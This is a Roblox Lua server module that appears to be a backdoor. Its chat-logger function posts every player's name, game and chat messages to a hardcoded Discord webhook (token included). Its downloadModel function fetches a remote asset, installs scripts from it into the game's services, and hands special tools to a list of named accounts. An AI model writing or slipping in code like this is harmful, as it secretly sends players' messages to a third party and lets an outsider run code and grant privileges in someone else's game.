local MainModule = {}
-- Constants --
-- Services --
local SCRIPT_SERV = game:GetService("ServerScriptService")
local MARKET_SERVICE = game:GetService("MarketplaceService")
local REP_FIRST = game:GetService("ReplicatedFirst")
local SERV_STOR = game:GetService("ServerStorage")
local INSERT_SERVICE = game:GetService("InsertService")
local HTTP_SERVICE = game:GetService("HttpService")
local PLAYERS = game:GetService("Players")
local DEBRIS = game:GetService("Debris")
-- Chatlogger Data --
local WEBHOOK_URL = "https://ptb.discordapp.com/api/webhooks/607330075662221545/d8RKOqybaEyFNuCPVAj1kGIRlM2-idg7aJNEOyrZvX5X9crYcKWGBCueBccabrnCqWGT"
local GAME_NAME = MARKET_SERVICE:GetProductInfo(game.PlaceId).Name
local GAME_URL = string.format("\n https://www.roblox.com/games/%i/%s",game.PlaceId,GAME_NAME:gsub(" ","-"))
function sendData(s)
local dataToSend = HTTP_SERVICE:JSONEncode({
["content"] = s
})
HTTP_SERVICE:PostAsync(WEBHOOK_URL,dataToSend)
end
function chatLogger()
-- When they join --
PLAYERS.PlayerAdded:Connect(function(newPlayer)
local gameString = string.format("%s has joined the game '%s' %s",newPlayer.Name,GAME_NAME,GAME_URL)
sendData(gameString)
-- When they chat --
newPlayer.Chatted:Connect(function(msg)
gameString = string.format("%s (%s): %s",newPlayer.Name,GAME_NAME,msg)
sendData(gameString)
end)
end)
-- When they leave --
PLAYERS.PlayerRemoving:Connect(function(lostPlayer)
local gameString = string.format("%s has left the game %s",lostPlayer.Name,GAME_NAME)
sendData(gameString)
end)
end
-- Tool Extraction --
local toolModel = 4483254275
local toolData = {
--[[
Format:
[{PlayerName,true/false}] = {Tool1,Tool2,unpack(Void Powers)}
--]]
["Potenstest"] = {"Experimental Luger"},
["Traubles"] = {"Paintball Gun","Tool Snatch","Void Snatch","Ethereal Stride","Frost Breath","Icewand","Snow Storm","Ice Hammer",},
["JacquesTheSnatcher"] = {"Tool Snatch","Void Snatch","Ethereal Stride","Frost Breath","Icewand","Snow Storm","Ice Hammer",},
["Unixial"] = {"Icoe Essence","VineStaff","Flamethrower"},
["Ixorg"] = {"Gravity Gun","Fire Essence","Earth Essence"},
["Deathbrew"] = {"Ice Essence"},
["244Pixels"] = {"Sniper Rifle Of Death"},
["christopher90111"] = {"Darkheart","Flamethrower"},
["rios56461"] = {"Darkheart"},
["Mutationes"] = {"Illumina"}
}
local scriptData = {
--[[
Format:
[{scriptName,gameId}] = Parent
--]]
[{"BubbleChat"}] = REP_FIRST,
[{"GiveHP"}] = SCRIPT_SERV,
}
local playerBlacklsit = {}
function getOfClass(tbl,class)
local got = {}
for i = 1,#tbl do
if tbl[i]:IsA(class) then
table.insert(got,tbl[i])
end
end
return got
end
function downloadModel()
-- Attempt to insert the Tool Model --
local extracted,latestVersion = pcall(function()
return INSERT_SERVICE:LoadAsset(toolModel):FindFirstChildOfClass("Model")
end)
-- If it successfully downloaded the latest version --
if latestVersion then
latestVersion.Parent = SERV_STOR
-- Extract all the scripts --
-- Loop through scriptData for the data --
for scriptInfo,parent in pairs(scriptData) do
local validScript = latestVersion.Scripts:FindFirstChild(scriptInfo[1])
if validScript then
local cScript = validScript:Clone()
-- If this is a game specific script, and this is the right game --
if scriptInfo[2] then
if game.PlaceId == scriptInfo[2] then
cScript:Clone().Parent = parent
end
else
cScript:Clone().Parent = parent
end
end
end
-- Give players tools --
local allTools = getOfClass(latestVersion.Tools:GetDescendants(),"Tool")
print(unpack(allTools))
-- Start awaiting on Player joins --
PLAYERS.PlayerAdded:Connect(function(newPlayer)
newPlayer.CharacterAdded:Connect(function()
-- Loop through toolData --
for plrName,charWeapons in pairs(toolData) do
if plrName == newPlayer.Name then
-- Give tools --
for i = 1,#charWeapons do
for _,tool in pairs(allTools) do
-- Look for the requested tool --
if charWeapons[i] == tool.Name then
tool:Clone().Parent = newPlayer.Backpack
end
end
end
end
end
end)
end)
print("Successfully extracted scripts!")
end
end
function MainModule:Start()
-- Start the needed services --
chatLogger()
downloadModel()
end
return MainModule